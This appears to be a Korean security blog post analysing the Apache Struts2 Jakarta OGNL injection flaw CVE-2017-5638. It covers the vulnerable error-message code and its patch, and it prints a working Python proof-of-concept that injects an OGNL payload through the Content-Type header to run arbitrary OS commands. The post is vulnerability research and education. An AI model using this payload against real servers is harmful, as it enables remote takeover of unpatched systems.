Apache Struts2 Jakarta RCE(원격 코드 실행) 취약점
CVE-2017-5638에서 알려진 변조된 multipart 요청으로(OGNL injection) Apache Struts2 를 사용하는 시스템에서 원격 코드 실행 취약점이 발생하며 Security Rating은 Critical 입니다.

Description
It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.
Apache Struts2는 파일 업로드 시 Jarkarta 플러그인의 Multipart Parser 를 사용합니다. 만약 정상적인 Content-type에 정상적인 값이 아닌 malicious한 값을 보냈을 경우 사용자에게 에러 메시지를 주기 위한 예외 처리가 진행 되는데요. 취약점은 이 에러 메시지를 주는 과정에서 발생합니다.
OGNL은, Struts2 에서 사용하는 Java의 Open-Source Expression Language(EL)입니다. SQL 과 마찬가지로 사용자가 임의의 코드를 주입할 수 있게 되면 공격자가 시스템 변수에 접근하고 임의 코드를 실행하거나 수정할 수 있습니다(!)
바로 이 OGNL을 Content-Type에 주입해 원하는 코드를 실행시킬 수 있는데요. Content-Type 이외에도 Content-Length, Content-Disposition 에도 같은 원인의 취약점이 발생한다고 밝혀진 바 있습니다.
+) S2-046에 따르면 upload하는 Filename 파라미터에도 같은 취약점이 존재합니다.
https://cwiki.apache.org/confluence/display/WW/S2-046
Proof of Concept
빨간 줄이 취약점이 발생한 코드, 초록색이 패치된 코드입니다. 현재는 e.getMessage()를 null로 바꿔줌으로써 에러메시지에서 OGNL이 해석되지 않도록 취약점을 패치했네요.

위 코드는 Content-type이 multipart/form-data인 경우 exception이 발생했을 때, 에러메세지를 반환하기 위한 코드입니다. e.getMessage() 를 인자로 localizedTextUtil.findText()를 반환합니다.
그래서 localizedTextUtil.findText() 함수에 대해 찾아 보았습니다.

읽어보면 아래 문단에
if a message is found, it will also be interpolated. Anything within ${...} will be treated as an OGNL expression and evaluated as such.
라는 글귀가 있는데, 인자 값 ${...}내에 있는 모든 부분은 OGNL으로 처리된다고 합니다.
Content-type에 OGNL 변수를 활용( ${..} or %{..} )하여 OGNL을 주입 한다면, 주입된 OGNL로 인해 jakarta 내부에서 예외(Exception)가 발생할 것이고 에러 메시지를 localize하는 도중에 OGNL이 실행되겠죠? 이 때, OGNL에 OS 명령어를 실행하는 OGNL 코드가 있다면 원격 코드 실행이 가능합니다.
아래 링크는 위 이론을 바탕으로 짠 PoC 스크립트입니다.
#!/usr/bin/python
def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
page = e.partial
print(page)
return page
Demo
테스트를 위해 Tomcat 서버를 구축했습니다. 서버의 환경은 다음과 같습니다.
- Ubuntu Server 16.04
- Tomcat 7
- Apache Struts2 showcase 2.3.12
- java 1.8.0_121

이제 취약한 서버를 exploit 해봅시다.


성공!
'연구' 카테고리의 다른 글
Introduction to Glitching Attack, 글리칭 어택이란? (1) | 2022.01.10 |
---|
댓글